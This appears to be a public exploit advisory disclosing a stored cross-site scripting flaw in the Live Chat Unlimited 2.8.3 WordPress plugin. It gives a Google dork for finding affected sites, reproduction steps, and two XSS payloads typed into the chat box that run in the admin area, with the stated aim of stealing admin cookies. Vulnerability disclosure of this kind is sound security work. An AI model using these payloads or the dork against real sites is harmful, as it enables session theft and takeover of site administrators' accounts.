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WordPress Plugin Live Chat Unlimited 2.8.3 - Cross-Site Scripting



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# Exploit Title: Live Chat Unlimited v2.8.3 Stored XSS Injection
# Google Dork: inurl:"wp-content/plugins/screets-lcx"
# Date: 2019/06/25
# Exploit Author: m0ze
# Vendor Homepage: https://screets.com/
# Software Link: https://codecanyon.net/item/wordpress-live-chat-plugin/3952877
# Version: 2.8.3
# Tested on: Windows 10 / Parrot OS
# CVE : -


Weak security measures like bad input field data filtering has been
discovered in the «Live Chat Unlimited». Current version of this
premium WordPress plugin is 2.8.3.


Go to the demo website https://site.com/try/lcx/night-bird/ and open chat window by clicking on «Open/close» link, then click on «Online mode» to go online. Use your payload inside input field and press [Enter]. 
Provided exaple payloads working on the admin area, so it's possible to steal admin cookies or force a redirect to any other
Example #1: <!--<img src="--><img src=x onerror=(alert)(`m0ze`)//">m0ze
Example #2: <!--<img src="--><img src=x onerror=(alert)(document.cookie)//">m0ze
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